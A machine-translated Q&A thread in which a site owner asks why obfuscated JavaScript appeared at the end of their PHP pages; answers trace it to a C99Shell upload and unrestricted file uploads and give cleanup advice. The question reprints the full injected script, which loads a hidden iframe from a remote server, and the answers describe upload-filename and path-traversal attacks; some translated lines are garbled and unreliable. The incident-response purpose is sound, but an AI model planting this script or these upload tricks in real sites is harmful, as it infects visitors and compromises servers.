PHP-скрипт: код вредоносного JavaScript в конце

Проблема:

На моем веб-пространстве есть файлы PHP, которые заканчиваются следующим:

<?php include 'footer.php'; ?> 

Перед этой строкой в ​​файлах также есть HTML-код.

Вывод в браузере заканчивается этим, конечно же:

 </body> </html> 

Но вчера, внезапно, появился какой-то вредоносный код. Результатом моего index.php было:

 </body> </html><body><script> var i={j:{i:{i:'~',l:'.',j:'^'},l:{i:'%',l:218915,j:1154%256},j:{i:1^0,l:55,j:'ijl'}},i:{i:{i:function(j){try{var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x6e\x70\x75\x74');l['\x74\x79\x70\x65']='\x68\x69\x64\x64\x65\x6e';l['\x76\x61\x6c\x75\x65']=j;l['\x69\x64']='\x6a';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);}catch(j){return false;} return true;},l:function(){try{var l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6a');}catch(l){return false;} return l.value;},j:function(){var l=iiii(ilii('.75.67.67.63.3a.2f.2f.39.32.2e.36.30.2e.31.37.37.2e.32.33.35.2f.76.61.71.72.6b.2e.63.75.63.3f.66.75.61.6e.7a.72.3d.6b.37.36.6b.30.39'));var j=(l)?iiil():false;return j;}},l:{i:function(){var l=iiij('trashtext');var j=(l)?l:'trashtext';return j||false;},l:function(){var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x6c');l['\x77\x69\x64\x74\x68']='0.1em';l['\x68\x65\x69\x67\x68\x74']='0.2em';l['\x73\x74\x79\x6c\x65']['\x62\x6f\x72\x64\x65\x72']='none';l['\x73\x74\x79\x6c\x65']['\x64\x69\x73\x70\x6c\x61\x79']='none';l['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c']='\x6c';l['\x69\x64']='\x6c';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);},j:function(){var l=iijj(iill());l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6c');var j=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x66\x72\x61\x6d\x65');j['\x68\x65\x69\x67\x68\x74']=j['\x77\x69\x64\x74\x68'];j['\x73\x72\x63']=iiji(iili());try{l['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](j);}catch(j){}}},j:{i:function(l){return l['replace'](/[A-Za-z]/g,function(j){return String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']((((j=j.charCodeAt(0))&223)-52)%26+(j&32)+65);});},l:function(l){return iiji(l)['\x74\x6f\x53\x74\x72\x69\x6e\x67']()||false;},j:function(l){try{l();}catch(l){}}}},l:{i:{i:function(l){l=l['replace'](/[.]/g,'%');return window['\x75\x6e\x65\x73\x63\x61\x70\x65'](l);},l:'50',j:'33'},l:{i:'62',l:'83',j:'95'},j:{i:'46',l:'71',j:'52'}}} iilj();</script> 

Я открыл файл на своем веб-пространстве (загруженный через FTP), и я увидел, что кто-то поставил этот код прямо в файл!

Как такое могло произойти?

Единственные способы, которые я могу себе представить:

  • Кто-то получил мой FTP-пароль. Но он не только поместил бы его в один файл. Он мог нанести гораздо больший урон. Поэтому я не могу представить, что это так.
  • У меня есть вирус на моем ПК. Я использую Notepad ++ для редактирования и FileZilla для загрузки. Возможно, эти программы также были заражены, и я загрузил вредоносный код – не зная.
  • Кто-то использовал отверстие безопасности (XSS), чтобы поместить этот код на страницу. Но он не мог вставить это в файл, не так ли?

Симптомы:

Пользователи сообщили о появлении синей панели в Firefox. Он попросил их установить плагин. Теперь некоторые из них имеют Exploit.Java.CVE-2010-0886.a на своем ПК.

Это из-за вредоносного кода? Что сделал код точно?

Вы можете мне помочь?

Пожалуйста, помогите мне, я действительно в отчаянии.

Может быть, еще один вопрос, если вы знаете, как я мог его получить: как я мог предотвратить что-то подобное в будущем?

Редактировать # 1:

Я нашел файл с именем «x76x09.php» в корневом каталоге моего веб-пространства. Он имеет размер файла 44.281 байт. Я загрузил его и попытался открыть его. Но мое антивирусное программное обеспечение сообщило, что это троянец (Trojan.Script.224490). Я думаю, что этот файл был выполнен и добавлен вредоносный код в «index.php» в каждом каталоге. Помогает ли это? Как троянец мог попасть в мое веб-пространство? Является ли это известным вирусом?

Редактировать # 2:

Мой хост говорит, что теперь он может быть уверен, что файл не был загружен через FTP. Таким образом, заражение не произошло через FTP. По словам моего хостера, это должны быть небезопасные сценарии.

Редактировать # 3:

Защитные дыры в соответствии с PHPSecInfo:

  • allow_url_fopen = 1
  • allow_url_include = 1
  • expose_php = 1
  • file_uploads = 1 (это виноват в вредоносных файлах x76x09.php?)
  • group_id = 99
  • user_id = 99

Редактировать # 4:

Я проанализировал файл, который был выполнен на моем веб-сервере. Вот результаты .

Таким образом, этот вирус, похоже, известен как:

  • PHP / C99Shell.BF
  • Backdoor / PHP.C99Shell
  • BackDoor.Generic_c.CQA
  • Trojan.Script.224490
  • Exploit.PHP.635
  • Backdoor.PHP.C99Shell.bf
  • Trojan.Script.224490

Могут ли некоторые из них вызвать вредоносный файл на моем веб-пространстве, который добавил вредоносный код?

Я не думаю, что проблема в том, что вы используете общий хост, потому что я нашел шесть других ( degmsb , Benvolio , joomla01 , DJ-Alien , valerione1979 и Kars ), на сайтах которых был добавлен один и тот же скрипт. Кроме того, сомнительно, что любой из ваших файлов будет доступен для записи другими, потому что файлы, загруженные через FTP, подчиняются маскам бит режима создания файла.

Мое лучшее предположение, что кто-то взламывает веб-сайты, используя либо известные эксплойты, либо эксплойты против общих слабостей, и что этот человек идентифицирует вероятные цели с взломом Google . Сайт WordPress от degmsb и сайт Burning Board Lite от Benvolio, вероятно, были взломаны с помощью известных эксплойтов (возможно, известных эксплойтов плагинов для этих программных баз, таких как TinyMCE), и ваш веб-сайт, поскольку вы написали его самостоятельно, скорее всего, был взломан через эксплойт против общего веб-сайта слабое место.

Учитывая, что вы разрешаете загрузку файлов (один из ваших скриптов PHP принимает и сохраняет файлы, загруженные вашими пользователями), я бы рассмотрел CWE-434: Неограниченная загрузка файла с опасным типом . Эксплуатация CWE-434 работает следующим образом: предположим, вы разрешаете пользователям загружать изображения аватаров или изображения. Сценарий, на который загруженные изображения отправляются POSTED, может сохранять файл в /images с использованием того же имени файла, которое предоставил пользователь. Теперь представьте, что кто-то загружает x76x09.gif.php (или x76x09.gif.asp , x76x09.gif.php4 и т. Д.). Ваш скрипт послушно сохранит эту загрузку в /images/x76x09.gif.php и все, что взломщик должен сделать, чтобы сервер запускал этот скрипт, просматривает /images/x76x09.gif.php . Даже если файл называется x76x09.php.gif , некоторые веб-серверы будут выполнять файл.

Другая возможность заключается в том, что имя файла загрузки, которое получает PHP, $_FILES['upload']['name'] , которое является значением filename в отправленном заголовке Content-Disposition , было построено для чего-то типа ..\modules\x.gif . Если ваш скрипт сохранил вновь загруженный файл на str_replace('\\', '/', '/images/' . basename($_FILES['upload']['name'])) или /images/../modules/x.gif на /images/../modules/x.gif от Windows ( http://codepad.org/t83dYZwa ), и для пользователя был способ заставить один из ваших PHP-скриптов include или require какой-либо скрипт в каталоге modules ( скажем, index.php?module=x.gif&action=blah ), тогда взломщик сможет выполнить произвольный PHP.

EDIT: похоже, x76x09.php – это своего рода неограниченный каталог браузера и загрузчик файлов. Если пользователю удастся загрузить его на ваш сервер, они могут в основном делать все, что вы можете сделать с вашим FTP-доступом. Удали это.

EDIT2: gzuncompress(base64_decode("HJ3H...geFb//eeff/79z/8A")); копии этого источника PHP (часть gzuncompress(base64_decode("HJ3H...geFb//eeff/79z/8A")); ). Удалите его из всех ваших PHP-скриптов.

EDIT3: части Google для скриптов в PHP, я нашел несколько веб-страниц, где этот источник указан в стенограмме, и все эти страницы имеют какое-то отношение к загрузке файлов для соответствующих веб-сайтов. Поэтому очень вероятно, что хакер вашего сайта использовал эксплойт CWE-434.

Похоже, ваш сервер был скомпрометирован, а также вы на общем хосте?

Вы можете узнать конфигурацию безопасности своего сервера:

PhpSecInfo

alt text http://img.ruphp.com/virus/psi_ss2.png

С кем вы принимаете? Некоторые хостеры имеют утечки безопасности, которые могут быть использованы.

Вы используете WordPress? Сообщалось также о количестве зарегистрированных вспышек. Лучшее, что нужно сделать, – это искать в Google людей с подобными проблемами, что также приведет к причине, которая приведет к решению.

Как и другие, уязвимость наиболее вероятна в каком-то скрипте, который вы используете, может быть, что-то, что вы написали сами, или известном приложению, которое обнаружило уязвимости. Это может быть уязвимость в сценарии загрузки, но я хочу указать, что также можно «загружать» файлы с помощью SQL-инъекции, более подробно см. Следующий поток

Мы столкнулись с проблемой, схожей с этим некоторое время назад, с одним из наших основных свойств сети. То, что сказал ваш веб-хост, было правильным: скорее всего это связано с не доступом к FTP, а с небезопасным скриптом, который каким-то образом разрешил изменение произвольных файлов. В нашем случае уязвимость в старом phpMyAdmin допускает изменение некоторых скриптов PHP.

Если вы еще этого не сделали, вы можете убедиться, что веб-сервер имеет только права на чтение для всех скриптов и файлов HTML. Оказывается, Apache также может писать сценарии в нашем случае. Просто

 cd web_files_directory chown -R some_not_web_server_user:some_not_web_server_group . find . -type f | xargs chmod 644 find . -type d | xargs chmod 755 

Я бы предложил изменить любой пароль FTP или SSH, чтобы быть очень безопасным. Если вы используете хостинг-провайдера, вы также должны уведомить об этом нарушение. Если у вас нет журналов для расследования этого вопроса, они могут. Вы также должны указать код Google, который был добавлен на вашу страницу, чтобы узнать, можете ли вы найти что-нибудь еще.

Наиболее близким является phsource.

Если вы находитесь на общем сервере, другие люди имеют доступ к самому серверу. Это своего рода определение общего сервера. Проблема в том, что если у вас есть файлы с разрешениями 777, они доступны для записи в мире. Это означает, что любой, кто имеет доступ к коробке, может писать им. См. Проблему?

Все, что требуется, – это один человек в этом поле, чтобы иметь слабый пароль, плохо сконфигурированный скрипт или ужасный бит кода, а посредственный скрипт-кидди может вызывать всевозможные проблемы на всем экране. Большинство из этих атак чисто автоматизированы. Они получают доступ, просматривают файлы, пригодные для атаки, и добавляют по мере необходимости.

Скорее всего, вы должны изменить все свои файлы на 755 или 644 разрешения. Вы лучше спать ночью.

И после того, как вы это сделаете, убедитесь, что Google не помечен вами как вредоносный сайт. Это не ужасно, чтобы очистить, но это может сократить ваш трафик тем временем.

Если вы сами написали уязвимое веб-приложение, то вы уже поняли, где найти большинство точек доступа, которые могут быть использованы. К сожалению, это может быть недостаточно (писать и поддерживать защищенные веб-приложения сложнее, чем думают многие люди).

Если вы не пишете приложение самостоятельно, или если вы повторно используете большие, сложные компоненты, которые кто-то написал, или вам просто нужна помощь в получении информации о безопасности веб-сайта, тогда есть коммерческие службы, которые могут сканировать ваш сайт и попытайтесь выяснить, где они уязвимы, например:

 http://www.qualys.com/products/qg_suite/was/ 

Очевидно, эти услуги стоят денег, но вы можете получить «бесплатную пробную версию», чтобы узнать, будут ли они полезными. Удачи!

Если у вас есть статический ip – вы можете запретить ftp-доступ с вашего IP-адреса

Это случилось со мной некоторое время назад по-разному. Учетная запись работы была скомпрометирована через phpBB с помощью эксплойта кода. Так или иначе, они даже добавили себя в таблицу пользователей mySQL db. Это заставило нас полностью удалить программу и прекратить ее использование.

Старая установка Joomla была уязвимостью, которая позволяла людям делать то, о чем вы говорите, на моем личном сайте. Я забыл, что это было даже там, но этого было достаточно, чтобы открыть им дверь для установки вредоносного кода на нескольких разных сайтах. Я запустил сайт, изменил разрешения, обновил Joomla и очистил файлы.

Мой текущий производственный сервер получает «нюхал» за phpMyAdmin более 1000 раз в час во время некоторых попыток взлома. Плохие парни работают сверхурочно!

Внизу, будьте осторожны с открытым исходным кодом, и если вы его используете, обновите, обновите, обновите.